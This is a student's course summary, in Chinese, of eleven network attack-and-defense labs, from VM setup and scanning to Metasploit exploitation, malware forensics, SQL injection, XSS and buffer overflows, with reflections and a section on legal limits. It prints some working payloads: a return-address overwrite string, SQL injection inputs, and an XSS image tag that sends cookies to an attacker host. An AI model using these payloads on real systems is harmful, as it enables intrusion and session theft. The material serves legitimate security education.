20251903 2025-2026-2《网络攻防实践》课程总结
2025-2026-2 《网络攻防实践》课程总结
1. 内容总结
第一次实践 网络攻防虚拟实验环境搭建实践:这个实验我搭建了渗透测试实验环境,包括VMware Workstation虚拟化平台的安装与配置、虚拟网络编辑器(VMnet1仅主机模式、VMnet8 NAT模式)的配置、Kali Linux、Metasploitable2、WinXPattacker、Win2kServer_SP0、SEEDUbuntu等多台靶机系统的导入与网络配置,以及roo-1.4.hw蜜罐网关的安装与配置,最终完成各虚拟机间网络连通性验证。
第二次实践 网络信息收集技术:这个实验我使用whois和nslookup进行DNS域名注册人信息查询及IP地址解析,通过借用在线IP地址查询网站进行IP地理位置定位;使用资源监视器获取QQ好友公网IP地址(39.144.196.42,定位至中国新疆);使用Nmap对WinXPattacker靶机(192.168.200.66)进行主机存活探测、TCP SYN端口扫描(发现21、135、139、445、3389五个开放端口)、服务版本识别与操作系统指纹检测(VMware虚拟机上的Windows XP SP2/SP3);在WinXPattacker上使用Nessus完成漏洞扫描(1个高危、4个低危);最后通过搜索引擎高级语法检索个人公开信息。
第三次实践 网络嗅探与协议分析:这个实验我使用tcpdump抓取访问百度首页的TCP SYN包,发现CDN加速下,单一域名对应3个Web服务器IP(123.6.157.78、60.9.5.124、34.107.221.80);使用Wireshark抓取TELNET登录水木社区BBS的完整过程,通过追踪TCP流还原出明文传输的用户名和口令(均为guest);对listen.pcap进行取证分析,通过tshark统计IPv4源/目的IP确定攻击主机(172.31.4.178)和目标主机(172.31.4.188),使用p0f识别扫描工具为Nmap、操作系统为Linux 2.6.x,通过ARP包分隔各攻击阶段还原出Nmap的-sP主机探测、-O系统识别、-sS SYN半开扫描、-sV服务探测的完整攻击链。
第四次实践 TCP/IP网络协议攻击:这个实验我使用netwox 80实现ARP缓存欺骗攻击,成功将SEEDUbuntu9靶机ARP缓存表中192.168.200.124对应的MAC地址从00:0c:29:cb:07:50篡改为攻击机Kali的00:0c:29:c1:67:d8;使用netwox 86实施ICMP重定向攻击,诱使SEEDUbuntu9靶机将访问百度的流量转发至Kali攻击机(出现50%丢包率);使用netwox 76实施SYN Flood攻击,向靶机23号Telnet端口发送海量伪造源IP的SYN报文,成功中断Telnet会话;使用netwox 78实施TCP RST攻击,伪造RST+ACK报文强制中断靶机与BBS服务器的Telnet连接;使用Ettercap图形化界面(ettercap -G)完成ARP毒化+TCP会话劫持,截获了靶机Telnet通信中的明文交互数据。
第五次实践 网络安全防范技术:这个实验我使用iptables配置包过滤规则,执行sudo iptables -A INPUT -p icmp -j DROP实现禁Ping(SEEDUbuntu9 ping测试100%丢包),以及基于IP的8080端口HTTP服务访问控制(仅允许192.168.200.64访问,curl验证成功);使用Snort 3对listen.pcap进行离线入侵检测,加载219条检测规则和438条攻击特征模式,共处理135580个数据包,识别到6个独立端口扫描会话和67657次SYN请求;深入分析蜜网网关的rc.firewall脚本(BlackList/WhiteList/FenceList三条自定义链)、snortd启动脚本(以-Q参数启用IPS模式联动iptables NFQUEUE实现内核层阻断)及hw-snort_inline服务配置。
第六次实践 Windows操作系统安全攻防:这个实验我使用Metasploit框架的ms08_067_netapi模块对Windows 2000靶机(192.168.200.124)进行远程渗透,配置generic/shell_reverse_tcp载荷获取系统级控制权;对蜜罐主机(172.16.1.106)捕获的网络流量进行取证分析,从HTTP流量中发现攻击者利用MS00-006(mdac.dll)漏洞获取初始访问权,通过FTP下载nc.exe、pdump.exe等工具,建立反向Shell后实施系统探索、痕迹清除、使用rdisk提取SAM哈希等凭证窃取操作;团队对抗环节中攻守双方交叉验证,守方通过Wireshark过滤SMB协议流量还原攻击特征。
第七次实践 Linux操作系统攻防:这个实验我使用Metasploit的exploit/multi/samba/usermap_script模块(CVE-2007-2447)对Metasploitable靶机(192.168.200.123)进行远程渗透,配置cmd/unix/reverse_netcat反向Shell载荷获取root权限(whoami验证为root);防守方使用tcpdump抓包并用Wireshark分析,从SMB会话请求的username字段中提取命令注入payload(包含mkfifo创建命名管道和nc建立反向连接的shell命令),从反向连接端口的TCP流中还原攻击者执行的明文命令(whoami、ls、echo等)。
第八次实践 恶意代码分析实践:这个实验我对rada恶意代码样本进行PE格式识别(DOS头MZ标识)、UPX 0.89.6压缩壳脱壳处理及Strings字符串提取,定位作者信息(Raul Siles & David Perez);使用IDA Pro对crackme1.exe和crackme2.exe进行逆向分析,通过字符串窗口和交叉引用定位strcmp比较函数找到正确输入参数;撰写rada深度分析报告(RAT木马,具备HTTP C2通信、注册表持久化、DDoS攻击能力);对僵尸网络流量进行取证分析,通过过滤IRC协议流量(端口6667)提取频道用户列表,还原蜜罐(172.16.134.191)被攻陷并加入僵尸网络的完整过程。
第九次实践 软件安全攻防--缓冲区溢出和shellcode:这个实验我通过objdump反汇编定位main函数中call foo指令(e8 + 补码偏移),手工修改ELF文件中call指令的相对偏移量为e8 c3 ff ff ff(偏移-57),使程序跳转至getShell函数获取Shell;分析foo函数的栈帧布局(28字节缓冲区+4字节ebp,共32字节偏移),构造python -c 'print "A"*32 + "\x7d\x84\x04\x08"'载荷覆盖返回地址触发getShell;使用pwntools生成execve("/bin/sh")的shellcode,结合NOP sled技术完成注入,利用dmesg获取真实运行时栈地址(sp=0xffffde20)解决了gdb内外栈地址不一致导致的崩溃问题。
第十次实践 Web应用程序安全攻防:这个实验我通过在SEED-Ubuntu SQL注入实验环境中,利用'#注释符绕过登录认证实现SELECT注入攻击,在编辑个人资料时构造', Salary='50000实现UPDATE注入修改工资,使用Prepared Statement(prepare+bind_param)修复后注入失效。在Elgg社交平台XSS实验中,依次实现alert弹窗、document.cookie窃取、构造img标签将Cookie发送至攻击者服务器、XMLHttpRequest模拟请求自动添加好友和修改资料、编写自我复制的XSS蠕虫;最后配置CSP(Content-Security-Policy限制script-src)和设置Cookie的HttpOnly属性防御XSS。
第十一次实践 浏览器安全攻防实践:这个实验我使用Metasploit的MS06-014(ie_createobject)漏洞模块,配置reverse_tcp Payload,在Windows 2000靶机(192.168.198.67,IE 6.0)中访问恶意URL触发ADODB.Stream漏洞,全程无用户交互获取远程Shell控制权;对18dd.net网页挂马场景进行取证分析,从start.html中识别隐藏iframe和加密JS,通过计算MD5哈希值匹配下载对应恶意文件,解码XXTEA和Base64混淆内容,还原完整攻击链(包含ADODB.Stream、MPS.StormPlayer、BaiduBar.Tool等多个ActiveX漏洞利用),发现多个漏洞下载的最终恶意程序二进制内容完全一致(仅更换下载渠道);攻防对抗实践中使用jsobfu对JavaScript载荷进行变量重命名、字符串拆分等混淆处理,防守方通过解混淆分析识别漏洞类型。
2. 最喜欢且做得最好的实践是哪次?为什么?
说实话,如果一定要我自己选一次最喜欢的实践,那毫无疑问是实践一虚拟机的环境搭建。虽然这次实验本身并没有什么技术含量,但它却是我整个学期除了实验九以外印象最深、感触最大的一次实验。与实验九主要是因为连续两个错误卡我的时间太长导致印象太深刻不同,实验一给我留下的印象几乎都是正面的:
首先,这是我第一次从零开始亲手搭建一个完整的渗透测试靶场环境。以前本科的时候,虽然我也上网络安全实践课,但实验的环境都是老师提前配好,我们直接拿来用就行。直到这次我亲自动手才发现,搭建一个能跑通的攻防环境远没有想象中那么简单。VMware Workstation中关于VMnet1仅主机模式和VMnet8 NAT模式的区别,靶机、攻击机、蜜网网关虚拟机每一个都需要去根据相应的规则修改连接类型和相应的IP地址。虽然有学校视频的指导,但还是在配置过程中出现了或多或少的问题,这些在做之前我看来是“天方夜谭”的东西,却是真真实实的被我自己亲手一点点实现了。
其次,配置蜜罐网关的过程让我印象深刻。我以前压根没听说过roo-1.4.hw这个蜜网网关,光是把它在VMware里建起来就折腾了好久。启动之后我又卡在加载界面死活打不开,后来还是室友提醒,我才知道还需要鼠标连续点几下才能进入系统,这个坑卡了我好一阵子。进去之后虽然不难,但配置过程很繁琐:Honeypot IP、LAN广播地址、CIDR前缀、管理IP等等,每一步都不能出错,错了一个后面全连不上。这里特别感谢我们班的育家同学,帮我解决了一个又一个问题,才让我在截止时间前顺利完成。
不得不说ping通的那一刻真的很有成就感。虽然后来的实验中我无数次的实施ping操作,攻击和防御的手段也都是五花八门,但我始终觉得实验一是我做的最有成就感的作业,我几乎每一步都有截图和详细的讲解,如果以后我会在科研学习或者工作中再次用到虚拟机,我想有了这次经历,我肯定不会再会像我第一次做这样手足无措了。
最后,这次实验最重要的是让我学会了用Typora写markdown格式的文档和用VS Code下载博客园插件上传博文。正是因为学会了markdown文档的编辑和vscode环境的搭建,才让我后面参加智信杯、研电赛和长城杯时用qoder、trae智能体来实现具体项目时能得心应手。可以说,这第一次实验既是我后续十次实验的基石,也让我第一次真切感受到了网络攻防实践的魅力。
3. 本门课学到的知识总结
这门课我一共进行了十一次实践,涉及的面非常广。下面我按照自己的理解,把学到的最重要的知识点梳理一下。
3.1 安全加固和检测技术
第二次实践中,Nmap和Nessus让我理解了资产发现、端口扫描、服务识别、漏洞扫描之间的递进关系。Nmap的-sn做Ping扫描确认主机存活(靶机延迟0.0016s),-sS做SYN半开扫描比-sT更快更隐蔽,-sV识别出FileZilla ftpd、Microsoft Windows RPC等服务版本,-O通过TCP/IP协议栈特征猜测操作系统是Windows XP SP2/SP3。这里有个坑就是最开始我忘了先sudo su进root模式就扫,导致有些高级功能用不了。Nessus的安装过程也挺折腾,Kali上下载进度几乎停滞,后来室友告诉我WinXPattacker里自带Nessus,果断换过去省了大量时间。扫出来1个高危(疑似MS17-010永恒之蓝)和4个低危漏洞,每个漏洞都给出了CVSS评分和修复建议。靶机上暴露的SMB、RPC、RDP等服务,本身只是开放端口,但结合版本和漏洞信息后,就能对应到MS08-067、MS17-010等高危漏洞,这就是从"发现资产"到"识别风险"的关键一步。
第五次实践则从防御侧补上了加固方法。iptables的规则不是简单地写几条命令,而是要理解INPUT、OUTPUT、FORWARD链,理解ACCEPT、DROP的匹配顺序。我先加了-A INPUT -p tcp --dport 8080 -s 192.168.200.64 -j ACCEPT白名单规则,再加-A INPUT -p tcp --dport 8080 -j DROP兜底拒绝,规则从上到下匹配,所以ACCEPT必须放在DROP前面,否则永远不会生效。Snort让我认识到IDS的核心是规则匹配和流量特征识别:加载219条规则和438条攻击特征模式处理13万多个数据包,从统计中能清楚看到67657次SYN请求对应仅83次SYN+ACK响应和67549次RST——这就是端口扫描的典型特征。蜜网网关中防火墙的BlackList、WhiteList、FenceList三条链加上Snort_inline通过NFQUEUE在内核层实时阻断,也体现了实际安全防御中"控制、检测、记录、响应"的完整链条。
3.2 Web安全技术
本科我上网络安全实验课时,最后的课程大作业就选择的是SQL注入,所以这块我有基础但做得更深入。SQL注入的根源是程序把用户输入当作SQL代码的一部分拼接执行。实验十里在用户名输入admin'#,单引号闭合字符串,#注释符把后面的密码验证整个截断了,看起来简单的payload效果惊人。资料更新页面中的UPDATE注入更直接——编辑个人资料时输入', Salary='50000就能改工资,说明注入不只会导致越权登录,也可能直接篡改数据库字段。防御方案就是Prepared Statement,用prepare+bind_param把SQL结构和数据分开,我改完代码后再用同样的payload注入就完全失效了。
XSS的危险在于脚本执行位置从攻击者变成了受害者浏览器。最开始只是一个alert弹窗,但继续向下做,就能用document.cookie读取会话信息,构造<img src="http://攻击者IP?cookie='+document.cookie">把cookie偷偷发出去,再用XMLHttpRequest模拟浏览器请求自动加好友。Elgg平台虽然有__elgg_ts和__elgg_token防CSRF机制,但XSS能在前端JS里直接获取当前用户的安全令牌绕过这层防护。最后写的那个XSS蠕虫能自我复制到受害者资料里形成自动传播,跑通的时候我只能感慨所幸是在虚拟机里的模拟实验。
3.3 逆向分析技术
逆向分析在第八、九、十一次实践中反复出现。第八次的rada样本让我熟悉了恶意代码静态分析流程:先判断文件类型(DOS头MZ标识)和平台,再识别是否加壳(UPX 0.89.6压缩壳),用超级巡警脱壳机脱壳后提取Strings字符串定位作者信息(Raul Siles & David Perez),查看导入函数和关键调用,最后结合动态行为确认样本功能。IDA Pro、字符串分析和脱壳工具各自承担不同角色,组合使用比单独依赖一个工具可靠得多。
Crackme实验则让我理解逆向分析的基本思路:用IDA打开程序首先看字符串窗口,通过搜索"Password""Success"等交互字符串,用交叉引用定位到调用strcmp的关键判断分支,分析分支条件就找到了正确的输入参数。F5伪代码功能可以把汇编转成C风格代码辅助理解,但复杂逻辑还是得结合原始汇编看。第九次实践中,IDA不再只是"看代码"的工具,而是直接用于定位main、foo、getShell的地址和调用关系,结合objdump反汇编手工修改ELF文件中的call指令偏移量。第十一次的网页木马分析又把逆向范围扩展到JavaScript混淆和二进制载荷分析,要求先解开Base64、XXTEA和十六进制字符串,再继续分析下载程序的行为。
3.4 主流代码审计技术
代码审计的关键是追踪不可信输入如何进入敏感操作。实验七的Samba usermap_script漏洞(CVE-2007-2447)是命令注入的典型案例:Samba在处理用户名时调用了nmblookup外部命令,而用户名参数未经过滤直接传入,攻击者构造包含反引号或管道符的用户名就能注入任意命令。这与SQL注入在本质上也有相似之处——外部输入被带入命令解释环境,导致攻击者能够改变原本的执行语义。实验七防守方通过Wireshark从SMB会话请求的username字段中提取出包含mkfifo创建命名管道和nc建立反向连接的shell命令,就是审计输入如何流入敏感操作的直观体现。
第十一次网页挂马取证也让我接触了JS代码审计——从start.html中识别隐藏iframe、解码XXTEA和Base64加密的JS代码、分析ActiveX控件CLSID对应的漏洞利用逻辑,需要重点关注eval、document.write、unescape、ActiveX对象创建和远程URL下载等危险行为。通过这些实践,我逐渐形成了一个审计习惯:先找输入入口,再找解释器或敏感API,最后判断中间是否有过滤、编码或权限限制。
3.5 程序设计
这门课让我认识到,程序设计能力不仅是写业务代码,也包括理解程序如何被滥用。实验九用pwntools生成shellcode是最典型的一次——asm(shellcraft.sh())生成execve("/bin/sh")的机器码,结合struct.pack做地址的小端序转换,按偏移量拼接填充、返回地址和shellcode。调试时使用gdb观察栈地址和程序执行状态,这些操作都要求对Python、汇编、C语言调用约定和Linux进程内存布局有一定了解。
第十次实践中对PHP后端代码进行Prepared Statement改写,让我体会到安全编码不是额外装饰,而是功能实现的一部分。第十一次实践中用Python搭建简单Web服务、隐藏多个恶意入口、再对JavaScript进行混淆和解混淆,进一步说明脚本能力在攻防实验中非常实用,今后如果要提升攻防能力,我就不能只会调用工具,还需要能自己写脚本处理数据包、生成Payload、批量分析日志和自动化复现实验。
3.6 计算机病毒技术
第八次实践让我对病毒、蠕虫、木马、后门和僵尸网络之间的区别有了更清楚的认识。病毒通常依附宿主文件传播,蠕虫更强调主动复制和网络扩散,木马侧重伪装和远程控制,后门则为攻击者保留长期访问入口。rada样本表现出远控木马的典型特征:创建隐藏目录存放配置文件、写注册表Run键实现持久化自启动、通过HTTP协议与C2服务器通信接收指令、还能发起DDoS攻击。和病毒不同,木马不自主传播,而是伪装成正常程序诱骗用户运行。
僵尸网络分析部分尤其有代表性。蜜罐主机(172.16.134.191)被攻陷后通过IRC协议(端口6667)加入僵尸网络频道,接收NICK/USER注册和JOIN频道指令,等待攻击者通过PRIVMSG广播攻击命令。IRC协议中的这些消息看起来只是聊天协议的一部分,但攻击者可以让大量受控主机加入同一频道统一下发命令。从流量里能统计出连接同一个僵尸网络C2(209.196.44.172)的不同主机数量,规模相当可观,让我理解Botnet为什么能够用于DDoS、垃圾邮件、恶意软件传播和跳板攻击。
3.7 网络溯源及防范技术
网络溯源的核心是从日志和流量中还原攻击时间线。第三次实践中的listen.pcap分析是第一次训练:通过tshark统计IPv4源/目的IP确定攻击主机(172.31.4.178)和目标主机(172.31.4.188),使用p0f识别扫描工具为Nmap,通过ARP包分隔各攻击阶段还原出-sP主机探测、-O系统识别、-sS SYN半开扫描、-sV服务探测的完整攻击链。第六次实践的蜜罐取证分析更完整——从蜜罐主机(172.16.1.106)捕获的流量中,我完整还原了攻击者(212.116.251.162)的攻击链路:先利用MS00-006漏洞获取初始访问权→通过FTP下载nc.exe和pdump.exe→建立反向Shell→执行系统探索和凭证窃取(rdisk提取SAM哈希)。
第七次和第十一次实践也都强化了这种能力。Linux攻防中防守方通过Wireshark看到SMB请求中的命令注入载荷和反向连接内容;浏览器木马分析中则要从start.html、下载URL、MD5样本和二进制程序之间建立关系,把证据串成能解释攻击过程的链条。
3.8 加密解密技术
加密解密知识在第十一次实践中体现得最集中。网页木马为了隐藏真实意图,使用了Base64、XXTEA、十六进制字符串和多层脚本拼接。分析时不能直接运行可疑代码,而是要先识别编码方式,将危险执行函数替换为输出函数,逐层恢复真实脚本内容。实验中xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74')这类代码让我直观理解了恶意代码如何利用加密和编码对抗分析。
此外,哈希在取证中也发挥了作用。第十一次实践中对URL计算32位MD5后在样本目录中定位文件,可以避免直接暴露恶意链接;对下载文件计算哈希值,则可以判断多个URL是否指向同一份样本。哈希不是加密,但它在完整性校验、样本去重和证据固定中非常重要。实验九的shellcode构造也让我接触了编码层面的知识——地址需要转小端序存储(getShell地址0x0804847d的小端形式是\x7d\x84\x04\x08),负数偏移用补码表示(-57的32位补码是0xffffffc3)。
3.9 信息系统运行维护
第一、五、六、七次实践都涉及系统运维能力。虚拟机网络配置、静态IP、网关、路由、服务启动、文件权限、工具安装和环境排错贯穿整个学期。第一次搭建Honeywall时,我需要理解三块网卡分别承担外部、内部和管理接口的角色;第五次安装Snort遇到软件源不可达需要手动修改/etc/apt/sources.list修复再用apt install snort --fix-missing重新安装;第九次文件无法执行时,需要用chmod +x解决权限问题。我的Linux操作能力在这学期有了明显提升,只能说像systemctl管理服务、dpkg/apt安装软件包、vim编辑配置文件、iptables管理防火墙规则这些是基本功。
我对于安全运维的核心原则也逐渐形成了自己的一套理解:日常只开启必要服务,及时修复高危漏洞;防火墙默认拒绝,只放行明确需要的流量;关键服务要有日志,方便后续审计;实验环境必须隔离,避免攻击流量影响真实网络。其实做了这么多实验,我最大的感受就是很多攻击能成功,并不是因为攻击者多高明,而是因为系统长期未打补丁、服务暴露过多、配置缺少最小权限。
3.10 网络协议分析
网络协议分析是本课程最基础也最反复使用的能力。TCP/IP协议栈中的ARP、ICMP、TCP、HTTP、Telnet、FTP、SMB、IRC等协议都在不同实验中出现。第三次实践让我看到Telnet明文传输的风险;第四次实践让我理解ARP无认证、ICMP可伪造、TCP半连接队列和RST包的攻击面——ARP协议无身份认证所以可以被欺骗、ICMP重定向报文缺乏校验所以可以篡改路由表、TCP三次握手的半连接队列设计缺陷导致SYN Flood、RST报文无强身份校验导致会话被强制中断、序列号可预测导致会话被劫持。第六、七次实践中,SMB、FTP和反向Shell流量成为还原攻击过程的重要证据。
Wireshark的Follow TCP Stream是我用得最多的功能之一,它能把零散的数据包恢复成更接近应用层会话的内容。过滤语法ip.src、tcp.port、tcp.flags.syn == 1 and tcp.flags.ack == 1这些组合可以精确筛选目标数据包。追踪TCP流功能在实验三里还原TELNET登录全过程、实验七里还原Samba命令注入的payload都发挥了关键作用。tcpdump则适合在命令行环境中快速抓取和过滤流量。
3.11 数据库
数据库知识主要在SQL注入实验中得到强化。实验开始前,我先使用show databases、use、show tables、describe、SELECT熟悉数据库结构,了解credential表中包含eid、password、salary、ssn等敏感字段。之后再构造SELECT和UPDATE注入,就能清楚知道每个Payload影响的是哪条SQL语句、哪个字段和哪类数据。SQL注入让我理解了一条SQL语句从拼接、解析到执行的全过程——用户输入被直接拼进WHERE子句,攻击者通过引号和注释符改变语句结构,数据库完全无法区分"哪些是代码、哪些是数据"。
这次实践让我认识到数据库安全不仅是数据库管理员的问题,也和Web开发紧密相关。应用如果使用root账号连接数据库、拼接SQL、缺少权限隔离,那么一个输入点就可能造成登录绕过、数据泄露、字段篡改甚至进一步提权。Prepared Statement之所以有效,是因为它在编译阶段就确定了SQL结构,用户输入永远只作为参数绑定。参数化查询、最小权限、错误信息隐藏和敏感字段保护,是数据库安全的基本要求。
3.12 法律
网络攻防技术必须建立在合法授权的边界内。课程中的所有扫描、攻击、嗅探和恶意代码分析我都是在隔离的实验环境中完成,这是底线。我国网络安全相关法律体系中,"三法两条例"尤其重要:《网络安全法》明确网络运营者安全保护义务和网络活动基本规则;《数据安全法》强调数据分类分级和全生命周期安全;《个人信息保护法》规范个人信息处理和用户权利保护;《关键信息基础设施安全保护条例》和《网络安全审查办法》则进一步细化重点行业和数据处理活动的安全要求。
学习攻防技术越深入,我越意识到技术能力必须服务于授权测试、防护加固和应急处置,而不能越界使用。在真实网络中,未经授权的扫描、漏洞利用、流量截获、账号窃取和恶意代码传播都可能触犯法律。这一点在实践四(TCP/IP协议攻击)和实践六(远程渗透)中体会尤为深刻——实验中涉及的SYN Flood、ARP欺骗、远程Shell获取等操作,一旦在未授权的真实环境中实施,就是违法行为。
3.13 基础
这门课对计算机基础的要求比我一开始想象得高。计算机网络方面,子网划分、路由、ARP、DNS、TCP三次握手、HTTP请求响应和各种应用协议都在实验中反复出现;操作系统方面,Windows和Linux的服务、权限、进程、文件系统、注册表、Shell和日志都成为攻防对象;计算机组成方面,第九次实践直接用到了寄存器、栈帧、机器码、小端序和函数调用约定。
我最大的感受是,基础知识如果只停留在考试层面,很难真正变成能力。比如以前知道TCP有三次握手,但做SYN Flood时才理解半连接队列为什么会被耗尽;以前知道栈会保存返回地址,但做缓冲区溢出时才知道偏移量和地址写法为什么决定成败——栈从高地址向低地址增长,函数调用时返回地址先压栈、然后是旧ebp、然后是局部变量缓冲区,这是缓冲区溢出能覆盖返回地址的根本原因。以前知道Web输入要过滤,但做SQL注入和XSS时才真正看到不安全输入会造成什么后果。操作系统方面,进程管理(gdb附加进程调试、dmesg查看内核日志)、内存管理(ASLR导致gdb内外地址不同)、文件系统(ELF文件的.text段存机器码、PE文件的DOS头和节区表)都在实验中反复用到。TCP/IP四层模型、各层协议的功能与交互在十一次实验中贯穿始终,以前本科时理论课上学的知识在实验中真正活了起来。
4. 课堂的收获与不足
写到这里,也意味着我一个学期网络攻防实践的作业终于是全部做完了,耳机里,海屿你的旋律依旧在我耳边萦绕,感我此言良久立,话到嘴边却又不知从何说起。
作为我离开整个学生生涯前完成的最后一门课程,我可以用最直白,最真实,最不留余地的方式说,这是大学以来我花费时间最长的一门课,它不是最难,也不是最复杂,但却实打实的让我错过初春的玉兰后,又于盛夏的清荷失之交臂。在无数个改bug改到难以言说的夜晚,不止一次我想过,要不就算了,这个实验干脆就这样交了吧。是啊,在一个个燥热、孤独的夏夜,如果没有这个课,我永远都不会养成做完一次实验就要清理一次实验环境的习惯,如果没有这个课,我可能再过十年也不会再次捡起VMware,学会使用markdown和VScode,如果没有这个课,我可能还要在以后犯很多错,才能知道一晚上调不通的错误,可能只是把广播地址看成攻击机地址,可能是在一个已经被修改过的样本上反复实验,也可能仅仅只是少打一个引号。
实话讲,在这门课上学到的具体知识点,亦或是各式各样的攻击、防御方法,就像我大学期间上过的无数实践课一样,具体的命令与参数不出三个月,或许就会慢慢淡忘。但这一个个在实验室的深夜完成实验的过程,却又是真真切切的出现在我眼前,它教会我不管做什么事都要仔细认真,遇到不会的就要敢于去问身边的同学朋友,实在解决不了就去找老师申请延时,只要坚持,执着的往下走,就总能抵达终点,无论是什么事,也无论何时何地。
当然这门课也照见了我很多不足。对于攻防的底层逻辑的片面理解,让我绝大部分时间都是照着给的材料亦或是同学们所作的步骤去复现实验,一旦出现未知的错误就捉襟见肘。代码能力的不足。linux系统的不熟悉,上机实验的次数少,也让我因为很多低级错误耗费了大量时间。再加上这学期参加的比赛活动太多,总是没有完整的时间去系统的学习每次实验的知识点,实验总是堆到截止日前几天再完成,反而导致每次实验都做的很痛苦,也没留出多余的时间去再改改我提交的内容。
从十八岁,独自一个人,离家千里又千里,踏进国关的那一刻算起,原来这已经是我在北京度过的第五个年头,未来不可预测,但人总得愿意去冒险,去纵身一跃,去相信自己的身体和内心,愿意让自己从一片薄薄的影子,长成一棵扎根的树。到最后,允许万事万物穿过自己,而自己依然站在这里。
—— 我想我做到了。
浙公网安备 33010602011771号